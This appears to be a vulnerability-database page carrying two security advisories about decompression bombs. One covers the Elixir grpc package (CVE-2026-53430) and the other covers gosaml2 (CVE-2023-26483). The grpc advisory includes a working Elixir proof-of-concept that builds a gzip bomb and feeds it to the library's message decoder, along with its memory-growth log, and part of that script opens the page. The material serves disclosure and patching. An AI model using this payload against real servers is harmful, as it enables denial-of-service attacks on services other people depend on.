# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end
Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "grpc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "1.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T18:12:58Z",
    "nvd_published_at": "2026-06-15T23:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node\u0027s heap and triggering an OOM kill (denial of service).\n\nIntroduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba\n\n### Details\n`GRPC.Compressor.Gzip.decompress/1` (lib/grpc/compressor/gzip.ex:12-14) calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries `grpc-encoding: gzip`. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server\u0027s `max_receive_message_length` is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.\n\n### PoC\nA script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node\u0027s memory usage will balloon and the VM will be OOM-killed after a single request.\n\n### Impact\nThis is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required \u2014 the attacker only needs to be able to reach the gRPC port and send a single crafted frame with `grpc-encoding: gzip`.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded gzip decompression (decompression bomb)\n\nMix.install([{:grpc, \"~\u003e 0.9\"}])\n\n# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.\nuncompressed_size = 200 * 1024 * 1024\nbomb_payload = :zlib.gzip(:binary.copy(\u003c\u003c0\u003e\u003e, uncompressed_size))\n\n# Wrap the bomb in a gRPC length-prefixed frame with the \"compressed\" flag (1)\n# set. This is the exact wire shape an outside peer would put on the socket\n# for a `grpc-encoding: gzip` message.\nframe =\n  \u003c\u003c1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary\u003e\u003e\n\nIO.puts(\n  \"Compressed bomb: #{byte_size(bomb_payload)} bytes -\u003e claims to expand to #{uncompressed_size} bytes\"\n)\n\n:erlang.garbage_collect()\nmem_before = :erlang.memory(:total)\nIO.puts(\"Memory before: #{div(mem_before, 1024 * 1024)} MB\")\n\n# Public entry point: GRPC.Message.from_data/2 is what the server\u0027s request\n# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2\n# DATA frame, once it has resolved the encoding header to a compressor module.\n# An outside attacker controls `frame`; the library is the trust boundary.\n{:ok, decompressed} =\n  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)\n\nmem_after = :erlang.memory(:total)\nIO.puts(\"Memory after:  #{div(mem_after, 1024 * 1024)} MB\")\nIO.puts(\"Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB\")\nIO.puts(\"Decompressed binary size: #{byte_size(decompressed)} bytes\")\n\namplification = byte_size(decompressed) / byte_size(bomb_payload)\nIO.puts(\"Amplification ratio: ~#{Float.round(amplification, 1)}x\")\n\nif byte_size(decompressed) == uncompressed_size do\n  IO.puts(\n    \"VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: decompressed size did not match expected payload\")\nend\n```\n\n```logs\nCompressed bomb: 203860 bytes -\u003e claims to expand to 209715200 bytes\nMemory before: 45 MB\nMemory after:  403 MB\nDelta:         358 MB\nDecompressed binary size: 209715200 bytes\nAmplification ratio: ~1028.7x\nVERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.\n```",
  "id": "GHSA-6ccx-9c9f-327w",
  "modified": "2026-08-25T18:12:58Z",
  "published": "2026-08-25T18:12:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-grpc/grpc/pull/543"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-53430.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/elixir-grpc/grpc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-grpc/grpc/releases/tag/v1.0.0"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-53430"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "gRPC Erlang package has unbounded gzip decompression (decompression bomb)"
}

GHSA-6GC3-CRP7-25W5

Vulnerability from github – Published: 2023-03-02 23:12 – Updated: 2024-05-20 21:49
VLAI
Summary
gosaml2 vulnerable to Denial Of Service Via Deflate Decompression Bomb
Details

Impact

SAML Service Providers using this library for SAML authentication support are likely susceptible to Denial of Service attacks. A bug in this library enables attackers to craft a deflate-compressed request which will consume significantly more memory during processing than the size of the original request. This may eventually lead to memory exhaustion and the process being killed.

Mitigation

The maximum compression ratio achievable with deflate is 1032:1, so by limiting the size of bodies passed to gosaml2, limiting the rate and concurrency of calls, and ensuring that lots of memory is available to the process it may be possible to help Go's garbage collector "keep up".

Implementors are encouraged not to rely on this.

Patches

This issue is addressed in v0.9.0

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/russellhaering/gosaml2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26483"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-02T23:12:47Z",
    "nvd_published_at": "2023-03-03T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nSAML Service Providers using this library for SAML authentication support are likely susceptible to Denial of Service attacks. A bug in this library enables attackers to craft a `deflate`-compressed request which will consume significantly more memory during processing than the size of the original request. This may eventually lead to memory exhaustion and the process being killed.\n\n### Mitigation\nThe maximum compression ratio achievable with `deflate` is 1032:1, so by limiting the size of bodies passed to gosaml2, limiting the rate and concurrency of calls, and ensuring that lots of memory is available to the process it _may_ be possible to help Go\u0027s garbage collector \"keep up\".\n\nImplementors are encouraged not to rely on this.\n\n### Patches\nThis issue is addressed in v0.9.0",
  "id": "GHSA-6gc3-crp7-25w5",
  "modified": "2024-05-20T21:49:09Z",
  "published": "2023-03-02T23:12:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/russellhaering/gosaml2/security/advisories/GHSA-6gc3-crp7-25w5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26483"
    },
    {
      "type": "WEB",
      "url": "https://github.com/russellhaering/gosaml2/commit/f9d66040241093e8702649baff50cc70d2c683c0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/russellhaering/gosaml2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/russellhaering/gosaml2/releases/tag/v0.9.0"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2023-1602"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "gosaml2 vulnerable to Denial Of Service Via Deflate Decompression Bomb"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.